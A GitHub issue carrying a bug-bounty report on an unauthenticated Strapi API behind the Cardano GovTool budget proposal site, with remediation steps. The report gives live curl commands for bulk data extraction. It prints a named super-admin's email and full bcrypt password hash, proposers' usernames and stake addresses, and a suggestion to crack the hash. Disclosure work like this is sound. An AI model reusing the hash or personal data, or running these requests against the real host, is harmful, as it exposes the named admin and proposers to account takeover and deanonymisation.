Skip to content

πŸ› [Bounty] - Unauthenticated Mass Exposure of Cardano Treasury Budget Proposals, Financial Data, and Admin Credentials via Misconfigured Strapi Public RoleΒ #4159

@Hornan7

Description

@Hornan7

Context

Report received through the security mailbox

Security Vulnerability Report

Author


Description

  • Title: Unauthenticated Mass Exposure of Cardano Treasury Budget Proposals, Financial Data, and Admin Credentials via Misconfigured Strapi Public Role
  • Vulnerability Class: Broken Access Control β€” Unauthenticated Sensitive Data Exposure (CWE-284) + PII Disclosure (CWE-359) + Credential Exposure (CWE-522)
  • Affected Asset: https://be.pdf.gov.tools
  • Vulnerable Endpoints:
    • GET /api/bds β€” Returns 715 budget proposal records including admin password hash
    • GET /api/bd-costings β€” Returns 835 cost breakdowns with exact ADA/USD amounts
    • GET /api/proposals β€” Returns 70 proposals with full text and proposer identities
    • GET /api/bd-psapbs β€” Returns 835 proposal sub-records with full narrative content
    • GET /api/bd-further-informations β€” Returns 764 metadata records with social profile links

Severity

CVSS 3.1 Score: 9.0 β€” Critical
Escalated vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Vector Value Reason
AV:N Network Anyone on the internet can exploit this with a single HTTP request
AC:H High Admin access requires cracking the bcrypt hash first
PR:N None No account or credentials needed
UI:N None No user interaction needed
S:C Changed Cracking the hash gives access to the Strapi admin panel, which controls the entire platform
C:H High Full financial data, PII, and admin credentials are exposed
I:H High Admin panel access would allow modification of all proposals
A:H High Admin panel access would allow deletion of all proposals

Summary

The Strapi v4 backend at be.pdf.gov.tools β€” which powers the Cardano GovTool budget proposal platform β€” is misconfigured to allow anyone on the internet to read all proposal data without logging in.

A single curl command with no credentials returns:

  • 715 budget proposals for the Cardano treasury process
  • 835 cost breakdowns with exact ADA and USD amounts
  • 70 proposals with full text content, proposer usernames, internal user IDs, and receiving stake addresses
  • 764 metadata records with social profile links that identify proposers
  • The bcrypt password hash of the Strapi super-admin (Vukasin Paunovic, vukasin.paunovic@intersectmbo.org, admin ID: 1), leaked across 122 out of 715 records via the updatedBy relation

The largest single funding request in the exposed data is 11,070,322 ADA (~$7.3M USD).

Steps to reproduce

Steps to Reproduce

Prerequisites:

  • None. No account, token, or special tool needed.
  • A browser or curl is sufficient.

Endpoint 1 β€” List All Budget Proposals (with Admin Hash Leak)

URL:

https://be.pdf.gov.tools/api/bds?populate=*

Curl:

curl -g "https://be.pdf.gov.tools/api/bds?populate=*" | jq .

Critical findings:

  • 715 budget proposals returned with no credentials
  • 100% expose creator identity β€” govtool_username and user_id for all proposers
  • 122 of 715 records expose the Strapi super-admin bcrypt hash via the updatedBy relation
  • Admin exposed: Vukasin Paunovic (vukasin.paunovic@intersectmbo.org), admin ID: 1
  • Cracking this hash gives full access to https://be.pdf.gov.tools/admin/

Example response (record ID: 68 β€” live, tested 2026-04-25):

{
  "id": 68,
  "attributes": {
    "privacy_policy": true,
    "intersect_named_administrator": true,
    "is_active": true,
    "creator": {
      "data": {
        "id": 1547,
        "attributes": {
          "govtool_username": "eternl.drep.committee"
        }
      }
    },
    "updatedBy": {
      "data": {
        "id": 1,
        "attributes": {
          "firstname": "Vukasin",
          "lastname": "Paunovic",
          "email": "vukasin.paunovic@intersectmbo.org",
          "password": "$2a$10$0PNu7bXhiyuonmoEZd442OPesPVDwoN4QschLsOiZsSMcP7w.fDoW",
          "isActive": true
        }
      }
    }
  }
}

Endpoint 2 β€” List All Financial Cost Breakdowns

URL:

https://be.pdf.gov.tools/api/bd-costings?populate=*

Curl:

curl -g "https://be.pdf.gov.tools/api/bd-costings?populate=*" | jq .

Critical findings:

  • Largest single request: 11,070,322 ADA (~$7.3M USD) (record ID: 9, confirmed live)
  • Full breakdown includes ADA amounts, USD equivalents, and conversion rates
  • Exposes salaries, team sizes, contractor rates, and infrastructure costs

Example response (record ID: 9 β€” live, tested 2026-04-25):

{
  "id": 9,
  "attributes": {
    "ada_amount": "11070322.68",
    "amount_in_preferred_currency": "7307520",
    "usd_to_ada_conversion_rate": "0.6601",
    "preferred_currency": {
      "data": {
        "id": 1,
        "attributes": {
          "currency_name": "United States Dollar",
          "currency_letter_code": "USD",
          "currency_number_code": "840"
        }
      }
    }
  }
}

Endpoint 3 β€” List Proposals with Full Text and Proposer Identities

URL:

https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=100

Curl:

curl -g "https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=100" | jq .

Critical findings:

  • Every record exposes user_id, user_govtool_username, likes, dislikes, and comment counts
  • Full proposal text is returned: prop_abstract, prop_motivation, prop_rationale
  • Receiving Cardano stake addresses are exposed, linking blockchain identities directly to funding requests
  • Withdrawal amounts are exposed per proposal

Example response (record ID: 293 β€” live, tested 2026-04-25):

{
  "id": 293,
  "attributes": {
    "user_id": "1963",
    "user_govtool_username": "majestyle",
    "prop_likes": 1,
    "prop_dislikes": 0,
    "prop_comments_number": 1,
    "content": {
      "data": {
        "attributes": {
          "prop_name": "Activate DeFi with USA – A Decentralized, Yield-Bearing Dollar for Cardano",
          "prop_abstract": "This proposal seeks treasury support...",
          "proposal_withdrawals": [
            {
              "prop_receiving_address": "stake1ux3xrtw9wjcsecycfelxyd8vy6c387c6zmqj7gwlg7aq7jqerellw",
              "prop_amount": 75000000
            }
          ]
        }
      }
    }
  }
}

Endpoint 4 β€” List Proposal Sub-Records

URL:

https://be.pdf.gov.tools/api/bd-psapbs

Curl:

curl -g "https://be.pdf.gov.tools/api/bd-psapbs" | jq .

Critical findings:

  • Full problem statements, proposal benefits, and business strategies are exposed
  • Third-party endorsers are named (organizations and individuals who privately backed proposals)

Example response (record ID: 2 β€” live, tested 2026-04-25):

{
  "id": 2,
  "attributes": {
    "problem_statement": "Traditional professional networking platforms have centralized control of user data, lack proper verification systems for professional credentials, and don't incentivize valuable community contributions.",
    "proposal_benefit": "Cardano Users: Bondex will serve as an interoperable online identity/passport...",
    "supplementary_endorsement": "Emirgo",
    "createdAt": "2025-04-01T15:03:13.948Z",
    "updatedAt": "2025-04-01T15:03:13.948Z"
  }
}

Endpoint 5 β€” List Proposal Metadata with Social Profile Links

URL:

https://be.pdf.gov.tools/api/bd-further-informations

Curl:

curl -g "https://be.pdf.gov.tools/api/bd-further-informations" | jq .

Critical findings:

  • Social and personal profile links (Twitter/X, GitHub, LinkedIn, Discord) are exposed
  • These links directly connect real-world identities to specific Cardano treasury funding requests
  • Enables cross-platform deanonymization of proposers

Example response (records ID: 2 and 4 β€” live, tested 2026-04-25):

[
  {
    "id": 2,
    "attributes": {
      "proposal_links": [
        { "prop_link": "https://bondex.app/p/Ignacio" },
        { "prop_link": "https://bondex.page.link/z2k2f2tfw8trMKzt5?inviteCode=ii42n" }
      ],
      "createdAt": "2025-04-01T15:03:14.013Z"
    }
  },
  {
    "id": 4,
    "attributes": {
      "proposal_links": [
        { "prop_link": "https://x.com/sebastiengllmt/status/1898226507874697499" }
      ],
      "createdAt": "2025-04-01T15:03:14.533Z"
    }
  }
]

PoC Summary

Endpoint HTTP Status URL Curl Command Records Auth Required Status
GET /api/bds 200 OK https://be.pdf.gov.tools/api/bds?populate=* curl -g "https://be.pdf.gov.tools/api/bds?populate=*" | jq . 715 None VULNERABLE
GET /api/bd-costings 200 OK https://be.pdf.gov.tools/api/bd-costings?populate=* curl -g "https://be.pdf.gov.tools/api/bd-costings?populate=*" | jq . 835 None VULNERABLE
GET /api/proposals 200 OK https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=100 curl -g "https://be.pdf.gov.tools/api/proposals?pagination[pageSize]=100" | jq . 70 None VULNERABLE
GET /api/bd-psapbs 200 OK https://be.pdf.gov.tools/api/bd-psapbs curl -g "https://be.pdf.gov.tools/api/bd-psapbs" | jq . 835 None VULNERABLE
GET /api/bd-further-informations 200 OK https://be.pdf.gov.tools/api/bd-further-informations curl -g "https://be.pdf.gov.tools/api/bd-further-informations" | jq . 764 None VULNERABLE

Actual behavior

Business and Governance Impact

  1. Full treasury intelligence leak. All 715 proposals β€” including drafts and pre-announcement submissions β€” are readable by anyone. This allows front-running, competitive manipulation, and targeted lobbying before proposals are formally published.

  2. Proposer identity exposure. 70 users have their GovTool username and internal user ID directly linked to their financial proposals. The platform's own privacy_policy field confirms privacy controls are supposed to exist β€” but the API does not enforce them.

  3. Stake address exposure. The /api/proposals endpoint returns the Cardano stake addresses that proposers nominated to receive treasury funds. This directly links real-world blockchain identities to specific funding requests.

  4. Admin credential leak. The bcrypt hash $2a$10$0PNu7bXhiyuon... belonging to the platform super-admin appears in 122 separate API responses. This is not a one-off edge case β€” it is systemic. If the hash is cracked (e.g. via hashcat), the attacker gains full Strapi admin access, allowing them to read, edit, or delete all 715+ proposals.

  5. Zero skill required. This is a single unauthenticated HTTP GET request. Any journalist, competitor, lobbyist, or attacker can run it today.

  6. Source code confirms the exposure is accidental. The public GitHub repository at github.com/twwu123/ekklesia hardcodes https://be.pdf.gov.tools/api/bds and fetches proposals without authentication, confirming this is a misconfiguration, not an intentional public API.

Expected behavior


Remediation

Immediate β€” Do Within 24 Hours

1. Revoke public read permissions in the Strapi admin panel:

Strapi Admin β†’ Settings β†’ Users & Permissions β†’ Roles β†’ Public β†’ uncheck find and findOne for: bds, bd-costings, proposals, bd-psapbs, bd-further-informations

This stops unauthenticated access without any code deployment.

2. Rotate the admin password for vukasin.paunovic@intersectmbo.org immediately. The bcrypt hash has been publicly accessible and should be treated as compromised.

3. Block the updatedBy relation from populating for all public-facing content types, even after public permissions are revoked, to prevent hash re-exposure if permissions are accidentally re-enabled.

Short-Term β€” Do Within 7 Days

  1. Require JWT authentication for all budget endpoints. Only authenticated GovTool users with the right roles should access proposal data.
  2. Enforce the privacy_policy field at the API level. Proposals with privacy_policy: true must not be returned to unauthenticated requests.
  3. Strip PII from responses where it is not needed: user_id, user_govtool_username, intersect_named_administrator, and stake addresses should not appear in unauthenticated responses.

Long-Term

  1. Add field-level access control. Even for authenticated users, proposers should only be able to read their own draft data.
  2. Add API rate limiting to prevent bulk enumeration of all records in one session.
  3. Update the public GitHub repository at github.com/twwu123/ekklesia to use an authenticated endpoint instead of the unauthenticated backend URL.
  4. Audit all Strapi role configurations across the Intersect infrastructure. The same Public role misconfiguration was independently found on api.members.intersectmbo.org.

Metadata

Metadata

Assignees

Type

No type

Projects

Status

No status

Status

No status

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions